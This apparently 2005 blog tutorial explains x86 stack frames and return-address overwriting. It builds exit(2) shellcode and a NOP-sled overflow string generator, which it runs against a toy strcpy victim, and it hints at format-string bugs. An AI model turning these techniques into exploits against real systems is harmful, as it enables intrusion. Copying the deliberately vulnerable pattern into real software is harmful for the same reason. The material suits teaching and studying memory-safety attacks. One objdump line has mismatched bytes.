Date: Tue, Mar 22, 2005
Stack Frames:
This is a sample program to show how stack frames look like.
[kedar@ashwamedha concepts_workshop]$ cat code1.c int a(int p, int q) { int r, s; r = p + 1; s = q; } int b() { int x, y; x = x + 1; y = a(2, 3); y = y + 1; /* ret. addr. */ } [kedar@ashwamedha concepts_workshop]$ gcc code1.c -g -c [kedar@ashwamedha concepts_workshop]$ objdump -S code1.o code1.o: file format elf32-i386 Disassembly of section .text: 00000000 <a>: int a(int p, int q) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 08 sub $0x8,%esp int r, s; r = p + 1; 6: 8b 45 08 mov 0x8(%ebp),%eax 9: 40 inc %eax a: 89 45 fc mov %eax,0xfffffffc(%ebp) s = q; d: 8b 45 0c mov 0xc(%ebp),%eax 10: 89 45 f8 mov %eax,0xfffffff8(%ebp) } 13: c9 leave 14: c3 ret 00000015 <b>: int b() { 15: 55 push %ebp 16: 89 e5 mov %esp,%ebp 18: 83 ec 08 sub $0x8,%esp int x, y; x = x + 1; 1b: 8d 45 fc lea 0xfffffffc(%ebp),%eax 1e: ff 00 incl (%eax) y = a(2, 3); 20: 83 ec 08 sub $0x8,%esp 23: 6a 03 push $0x3 25: 6a 02 push $0x2 27: e8 fc ff ff ff call 28 <b+0x13> 2c: 83 c4 10 add $0x10,%esp 2f: 89 45 f8 mov %eax,0xfffffff8(%ebp) y = y + 1; /* ret. addr. */ 32: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 35: ff 00 incl (%eax) } 37: c9 leave 38: c3 ret
The interleaved assembly shows what code is generated for the C instructions.
Lets start with function ‘b’ where it calls the function a. This is achieved in the objdump output at addreses 23, 25, and 27. Firstly, the 2 parameters are pushed on the stack (starting from the right), then the “call” instruction is executed, which pushes the return address (2c) the stack.
Now lets look at function a. It starts by pushing ebp on the stack, and stores the stack pointer in ebp. Then on, ebp register is used as a reference for the stack frame. Then space for the two variables, r and s is made on the stack ( address 3).
So, the stack looks something like this :
/* + + 0x0000 + + + + + + 0x1200 ++++++++++++++ + s + ===> 0xfffffff8(%ebp) ==> ebp - 8 0x1204 ++++++++++++++ + r + ===> 0xfffffffc(%ebp) ==> ebp - 4 0x1208 ++++++++++++++ + ebp + 0x120c ++++++++++++++ + ret. addr. + 0x1300 ++++++++++++++ + 2 + ===> 0x8(%ebp) ==> ebp + 8 0x1304 ++++++++++++++ + 3 + ===> 0xc(%ebp) ==> ebp + 12 0x1308 ++++++++++++++ + + + + + + + + ++++++++++++++ 0xffff */
Compare this stack diagram and the assembly code for the statements in function a.
Overwriting Return Address:
So now you know how the stack is organised. Keep this image in your mind. Lets see how we can change the flow of execution by overwriting the return address.
From the stack it is clear that, the return address is stored 8 bytes away from the address of the first variable in the function.
0x1204 + 0x8 = 0x120c
Here is the next program and the corresponding output.
[kedar@ashwamedha concepts_workshop]$ cat temp2.c #include <stdio.h> int a() { printf("I am in aaaaa\n"); } int b() { char *abc; int *ret_addr; printf("I am in b\n"); ret_addr = (int *)((char *)&abc + 8); *ret_addr = (int)a; } int main() { b(); } [kedar@ashwamedha concepts_workshop]$ gcc temp2.c -o temp2 [kedar@ashwamedha concepts_workshop]$ ./temp2 I am in b I am in aaaaa Segmentation fault
This program changes the flow of execution. As you can see, in function ‘b’, I get the address where the return address is stored on the stack in ‘ret_addr’ and overwrite it, with the address of function ‘a’.
So, when I execute the program, it not only prints the message in ‘b’, but also the message in a ‘I am in aaaaa’.
Thus, I manage to change the flow of execution by changing the return address on the stack.
Btw, the segmentation fault is caused because there is no explicit “call” to function “a”. So, there is no appropriate “return address” on the stack where function a returns. Hence, when function “a” returns the execution goes wrong and causes a seg fault.
Watch the stack:
You could do an interesting trick with the stack. Again, look at the diagram of the stack frames. As you see, the arguments passed to the function are being accessed by using ebp + [some value].
Using this knowledge you can perform an interesting trick.
Use this statement in your ‘C’ code :
printf("%x\n%x\n%x\n%x\n%x\n%x\n%x\n%x\n");
And check out what happens. Find out the reason why it happens. (This
is used in another class of attacks, called format string bugs.)
Shellcode:
Now you know how the stack frames are arranged, and you know how to change the flow of execution. Now let us try to create some code to which the flow of execution could be directed. For the sake of simplicity, let this code be to exit from a program with, let us say,
error code 2.
‘exit’ is a system call in Linux. The syscall id, of exit is 1. In Linux, you can execute a system call, by calling int 80h. By executing this instruction you run the system call corresponding to the number stored in eax. E.g.
mov $5, %al int $0x80
will execute the 5th system call. Since we wish to execute the first system call, (exit), we will store 1 in eax. Also, in case of exit, the exit value (argument passed to exit) is stored in “bx” during the call. So our code will be :
[kedar@ashwamedha concepts_workshop]$ cat code3.c #include <stdio.h> /* Call exit system call using assembly language */ int main() { /* Call exit system call using assembly language */ /* The instructions are used in such a manner so that the * assembly code that is generated does not have 0s in them. * Else, the string will get terminated, hence the mov to * al/bl instead of ax/bx */ __asm__("xor %eax, %eax\n\t" "xor %ebx, %ebx\n\t" "mov $2, %bl\n\t" "mov $1,%al\n\t" "int $0x80\n"); //exit(3); return 0; } [kedar@ashwamedha concepts_workshop]$ gcc code3.c -o code3 [kedar@ashwamedha concepts_workshop]$ ./code3 [kedar@ashwamedha concepts_workshop]$ echo $? 2
To ensure that the assembly is correct, I embedded it in the C sources, compiled and ran the program. It shows that the program really returns with an error code 2.
If I run objdump on the generated executable and look at main, here is what I get :
8048304: 31 c0 xor %eax,%eax 8048306: 31 db xor %ebx,%ebx 8048308: b3 03 mov $0x2,%bl 804830a: b0 01 mov $0x1,%al 804830c: cd 80 int $0x80
The opcodes for these set of instructions, give me my “shellcode”. So my shell code is :
char *shellcode="\x31\xc0\x31\xdb\xb3\x02\xb0\x01\xcd\x80";
This shell code, will terminate the running program, with the exit value 2. In the real world, in most of the cases, the shell code tries to spawn a shell (/bin/sh) by executing “execve”.
You can verify your shell code with a simple program :
[kedar@ashwamedha concepts_workshop]$ cat code4.c #include <stdio.h> /* This program overwrites the return address of main with the addres * of the shell code to call exit system call. */ /* This still needs the stack to be executable. This is not the * return_to_libc method. */ int a() { /* This shell code, calls _exit(2), hence this program will * exit with error code of 2. If you comment the allocation to * ret_addr, then the program will return 0, as it happens in * the last statement of main. */ char *shellcode = "\x31\xc0\x31\xdb\xb3\x02\xb0\x01\xcd\x80"; int *ret_addr; printf("Let us see what happens \n"); ret_addr = (int *)((char *)&shellcode + 8); *ret_addr = (int)shellcode; return 0; } int b() { printf("Abrakadabra\n"); } int main() { a(); b(); } [kedar@ashwamedha concepts_workshop]$ gcc code4.c -o code4 [kedar@ashwamedha concepts_workshop]$ ./code4 Let us see what happens [kedar@ashwamedha concepts_workshop]$ echo $? 2
Since, our shell code was executed, the call to function “a” never made it, and so the “Abrakadabra” was never printed.
An Attack:
Ok, so now we have a shell code, which terminates the running program. The task now is to do this with a real program. All this time, we had the shell code as a part of the program whose flow of execution, we were trying to modify. Now, we have to do this to a program, which simply accepts some input string. We know nothing more about the program. That is tricky.
Let us consider this sample victim program :
[kedar@ashwamedha concepts_workshop]$ cat victim.c main(int argc, char *argv[]) { char buffer[512]; strcpy(buffer, argv[1]); }
Overflowing the buffer in this case, is not big a deal. The real problem is overwriting the return address with the correct address. So now we have two things to achieve, the overflow string should contain shell code as one of its components, and secondly, the return address should be overwritten with the address of this shell code.
Things get simplified a little bit by the fact that on most instances of an operating systems, the stack begins at a fixed address. And, in many cases the program uses a few thousand bytes from the stack. So what we have to do is make a guess within this limited range of addresses. Ofcourse, it will be on a trial-and-error basis.
Let us look at the stack for the above program. The address of the variable buffer is 0x1200.
/* + + 0x0000 + + + + + + 0x1200 ++++++++++++++ <-----| + + | + buffer + |--- 512 bytes + + | 0x1400 ++++++++++++++ <-----| + ebp + 0x1404 ++++++++++++++ + ret. addr. + 0x1408 ++++++++++++++ + + + + + + + + ++++++++++++++ 0xffff */
Now, in order to achieve the desired effect, it will be quite clear that the input string should have two components. The first part will be the shell code which we wish to run, and the second part will be a repeated sequence of the address that we guessed.
E.g. if we guessed that the address of our shell code is at 0x1230, our input string will be :
++++++++++++++ <--- Start of input string + Shell + + C + + O + + D + + E + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + ++++++++++++++ <--- End of input string
With such an input string, I will be able to overwrite the return address with the address 0x1230. (Ofcourse, this assumes that the shell code starts at addres 0x1230)
As you might have guessed the chances of success in this approach are narrow. We can increase the chances of success by designing the buffer something like this :
++++++++++++++ <--- Start of input string + NOP + + NOP + + NOP + + NOP + + NOP + + NOP + + Shell + + C + + O + + D + + E + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + + 0x1230 + ++++++++++++++ <--- End of input string
This definitely increases the chances of success. Because now, the address 0x1230 need not be the exact address where the shell code start. The 0x1230 could lie within any part of the NOP region and we will be assured that the shellcode will be executed.
Since this is yet a trial-and-error based method, let us come up with a quick program that gives us such an input string. We can make guesses for the address, and the program gives us an input string which could be fed to the victim program.
[kedar@ashwamedha concepts_workshop]$ cat gen_ofstr.c #include <stdio.h> #define NOP 0x90 unsigned long my_get_esp(void) { __asm__("movl %esp,%eax\n"); } /* This program generates the overflow string which can be used to * send as an input to the victim program. The string being too long, * the program writes it in a file, and the output of the file is fed * to the victim program. Generally, this is also done by creating an * EGGSHELL. */ int main(int argc, char *argv[]) { /* The shellcode for _exit(2) */ char *shellcode = "\x31\xc0\x31\xdb\xb3\x02\xb0\x01\xcd\x80"; int fd; char buf[750]; int offset = 0; int addr, i, *ptr; if(argc > 1) offset = atoi(argv[1]); addr = my_get_esp() - offset; printf("Using address : %p\n", addr); ptr = (int *)buf; for(i = 0; i < 740; i+=4) { *ptr = addr; ptr++; } printf("a"); for(i = 0; i < 398 ; i++) { buf[i] = NOP; } printf("b"); memcpy(buf + 398, shellcode, strlen(shellcode)); printf("c"); fd = creat("ofstr.txt", 0644); write(fd, buf, 750); close(fd); return 0; }
This is a quick and dirty program that achieves the desired string in the file “ofstr.txt”. Usually, the programs offer some more flexibility by offering the ability to change the size of the input buffer. Also, mostly the program is used to store the input string to a shell variable. This is commonly known as “eggshell” method. I need not explain the program, quite straight-forward.
And here is the attack :
[kedar@ashwamedha concepts_workshop]$ gcc gen_ofstr.c -o gen_ofstr [kedar@ashwamedha concepts_workshop]$ gcc victim.c -o victim [kedar@ashwamedha concepts_workshop]$ ./gen_ofstr 10 Using address : 0xbffff598 abc [kedar@ashwamedha concepts_workshop]$ ./victim `cat ofstr.txt ` Illegal instruction [kedar@ashwamedha concepts_workshop]$ ./gen_ofstr 50 Using address : 0xbffff556 abc [kedar@ashwamedha concepts_workshop]$ ./victim `cat ofstr.txt ` Illegal instruction [kedar@ashwamedha concepts_workshop]$ ./gen_ofstr 100 Using address : 0xbffff524 abc [kedar@ashwamedha concepts_workshop]$ ./victim `cat ofstr.txt ` [kedar@ashwamedha concepts_workshop]$ echo $? 2 [kedar@ashwamedha concepts_workshop]$
So, we got success in our third attempt. The program was terminated with the error value 2, which the shell code was intended to do.
And that was a simple stack overflow.
For more details : Smashing the stack for fun and profit.
Leave a Reply